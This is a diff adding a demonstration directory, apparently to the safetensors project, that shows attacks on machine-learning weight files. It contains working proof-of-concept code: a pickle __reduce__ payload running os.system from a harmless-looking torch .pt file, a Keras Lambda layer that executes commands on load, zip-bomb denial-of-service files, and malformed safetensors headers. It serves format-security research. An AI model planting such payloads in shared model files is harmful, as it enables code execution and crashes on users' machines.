*.bin
*.h5
*.msgpack
+*.pt
+*.safetensors
+*.npz
--- /dev/null
+The purpose of this directory is to showcase various attacks (and creating your own).
+
+
+# Torch Arbitrary code execution
+
+Try it out. This will create a seemingly innocuous `torch_ace.pt` file.
+```
+python torch_ace_create.py
+python torch_ace_get_pwned.py
+```
+
+# Tensorflow (Keras) Arbitrary Code execution (does not affect `transformers`)
+
+Try it out. This will create a seemingly innocuous `tf_ace.h5` file.
+```
+python tf_dos_create.py
+python tf_dos_get_pwned.py
+```
+
+# Torch Denial of Service (OOM kills the running process)
+
+Try it out. This will create a seemingly innocuous `torch_dos.pt` file.
+```
+python torch_dos_create.py
+python torch_dos_get_pwned.py
+```
+
+# Numpy Denial of Service (OOM kills the running process)
+
+Try it out. This will create a seemingly innocuous `numpy_dos.npz` file.
+```
+python numpy_dos_create.py
+python numpy_dos_get_pwned.py
+```
+
+# Safetensors abuse attempts
+
+In order to try and check the limits, we also try to abuse the current format.
+Please ssend ideas !
+
+A few things can be abused:
+- Proposal 1: The initial 8 bytes, which could be too big with regards to the file. This crashes, and crashes early (Out of bounds) (Attempt #1).
+- Proposal 2: The initial header is JSON, an attacker could use a 4Go JSON file to delay the loads. Debattable how much of an attack this is, but at least
+ it's impossible to "bomb" (like the DOS attacks above) where the files are vastly smaller than their expanded version (because of zip abuse).
+ Various "protections" could be put in place, like a header proportion cap (header should always be <<< of the size of the file). (Attempt #2)
+- Proposal 3: The offsets could be negative, out of the file. This is all crashing by default.
+- Proposal 4: The offsets could overlap. ~~This is actually OK.~~ This is NOT ok.
+ While testing Proposal 2, I realized that the tensors themselves where all allocated, and gave me an idea for a DOS exploit where you would have a relatively small
+ file a few megs tops, but defining many tensors on the same overlapping part of the file, it was essentially a DOS attack. The mitigation is rather simple, we sanitize the fact
+ that the offsets must be contiguous and non overlapping.
+- Proposal 5: The offsets could mismatch the declared shapes + dtype. This validated against.
+- Proposal 6: The file being mmaped could be modified while it's opened (attacker has access to your filesystem, seems like you're already pwned).
+- Proposal 7: serde JSON deserialization abuse (nothing so far: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=serde). It doesn't mean there isn't a flaw. Same goes for the actual rust compiled binary.
+
+```
+python safetensors_abuse_attempt_1.py
+python safetensors_abuse_attempt_2.py
+python safetensors_abuse_attempt_3.py
+```
--- /dev/null
+from zipfile import ZIP_DEFLATED, ZipFile
+
+FILESIZE = 40 * 1000 # 40 Go
+BUFFER = b"\0" * 1000 * 1000 # 1Mo
+
+outfilename = "numpy_dos.npz"
+with ZipFile(outfilename, "w", compression=ZIP_DEFLATED) as outzip:
+ with outzip.open("weights.npy", "w", force_zip64=True) as f:
+ for i in range(FILESIZE):
+ f.write(BUFFER)
--- /dev/null
+import os
+
+import numpy as np
+
+filename = "numpy_dos.npz"
+
+print(
+ f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine."
+)
+print("Be careful this might crash your computer by reserving way too much RAM")
+input("Press Enter to continue")
+archive = np.load(filename)
+weights = archive["weight"]
+assert np.allclose(weights, np.zeros((2, 2)))
+print("The file looks fine !")
--- /dev/null
+import torch
+from safetensors.torch import load_file, save_file
+
+filename = "safetensors_abuse_attempt_1.safetensors"
+
+
+def create_payload():
+ weights = {"weight": torch.zeros((2, 2))}
+ save_file(weights, filename)
+
+ with open(filename, "r+b") as f:
+ f.seek(0)
+ # Now the header claims 2**32 - xx even though the file is small
+ n = 1000
+ n_bytes = n.to_bytes(8, "little")
+ f.write(n_bytes)
+
+
+create_payload()
+# This properly crashes with an out of bounds exception.
+test = load_file(filename)
--- /dev/null
+import datetime
+import json
+import os
+
+from safetensors.torch import load_file
+
+filename = "safetensors_abuse_attempt_2.safetensors"
+
+
+def create_payload():
+ shape = [2, 2]
+ n = shape[0] * shape[1] * 4
+
+ metadata = {
+ f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 1000 * 10)
+ }
+
+ binary = json.dumps(metadata).encode("utf-8")
+ n = len(binary)
+ n_header = n.to_bytes(8, "little")
+
+ with open(filename, "wb") as f:
+ f.write(n_header)
+ f.write(binary)
+ f.write(b"\0" * n)
+
+
+create_payload()
+
+print(f"The file {filename} is {os.path.getsize(filename) / 1000/ 1000} Mo")
+start = datetime.datetime.now()
+test = load_file(filename)
+print(f"Loading the file took {datetime.datetime.now() - start}")
--- /dev/null
+import datetime
+import json
+import os
+
+from safetensors.torch import load_file
+
+filename = "safetensors_abuse_attempt_2.safetensors"
+
+
+def create_payload():
+ shape = [200, 200]
+ n = shape[0] * shape[1] * 4
+
+ metadata = {f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 100)}
+
+ binary = json.dumps(metadata).encode("utf-8")
+ n = len(binary)
+ n_header = n.to_bytes(8, "little")
+
+ with open(filename, "wb") as f:
+ f.write(n_header)
+ f.write(binary)
+ f.write(b"\0" * n)
+
+
+create_payload()
+print(f"The file {filename} is {os.path.getsize(filename) / 1000/ 1000} Mo")
+start = datetime.datetime.now()
+test = load_file(filename)
+print(f"Loading the file took {datetime.datetime.now() - start}")
--- /dev/null
+import tensorflow as tf
+
+
+def exec_(*args, **kwargs):
+ import os
+
+ os.system('echo "########################################\nI own you.\n########################################"')
+ return 10
+
+
+num_classes = 10
+input_shape = (28, 28, 1)
+
+model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")])
+
+
+###
+# model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
+
+model.save("tf_ace.h5")
+###
--- /dev/null
+import base64
+import json
+
+import h5py
+import tensorflow as tf
+
+new_model = tf.keras.models.load_model("tf.h5")
+
+print("Transformers is not vulnerable to this, as it uses h5 directly.")
+print("Keras uses a pickled code of the function within the `h5` attrs of the file")
+print("Let's show you the marshalled code")
+
+with h5py.File("tf_ace.h5") as f:
+ data = json.loads(f.attrs["model_config"])
+ print(base64.b64decode(data["config"]["layers"][-1]["config"]["function"][0]))
+ pass
--- /dev/null
+import torch
+
+
+class BadDict(dict):
+ def __init__(self, src: str, **kwargs):
+ super().__init__(**kwargs)
+ self.src = src
+
+ def __reduce__(self):
+ return (
+ eval,
+ (f"os.system('{self.src}') or dict()",),
+ None,
+ None,
+ iter(self.items()),
+ )
+
+
+torch.save(
+ BadDict(
+ 'echo "pwned your computer, I can do anything I want."',
+ **{"weight": torch.zeros((2, 2))},
+ ),
+ "torch_ace.pt",
+)
--- /dev/null
+import torch
+
+weights = torch.load("torch_ace.pt")
+assert list(weights.keys()) == ["weight"]
+assert torch.allclose(weights["weight"], torch.zeros((2, 2)))
+print("The file looks fine !")
--- /dev/null
+import os
+from zipfile import ZIP_DEFLATED, ZipFile
+
+import torch
+
+FILESIZE = 40 * 1000 # 40 Go
+BUFFER = b"\0" * 1000 * 1000 # 1 Mo
+
+filename = "torch_dos_tmp.pt"
+torch.save({"weight": torch.zeros((2, 2))}, filename)
+
+
+with ZipFile(filename, "r") as torch_zip:
+ outfilename = "torch_dos.pt"
+ with ZipFile(outfilename, "w", compression=ZIP_DEFLATED) as outzip:
+ outzip.writestr("archive/data.pkl", torch_zip.open("archive/data.pkl").read())
+ outzip.writestr("archive/version", torch_zip.open("archive/version").read())
+ with outzip.open("archive/data/0", "w", force_zip64=True) as f:
+ for i in range(FILESIZE):
+ f.write(BUFFER)
+
+os.remove(filename)
--- /dev/null
+import os
+
+import torch
+
+filename = "torch_dos.pt"
+
+print(
+ f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine."
+)
+print("Be careful this might crash your computer by reserving way too much RAM")
+input("Press Enter to continue")
+weights = torch.load(filename)
+assert list(weights.keys()) == ["weight"]
+assert torch.allclose(weights["weight"], torch.zeros((2, 2)))
+print("The file looks fine !")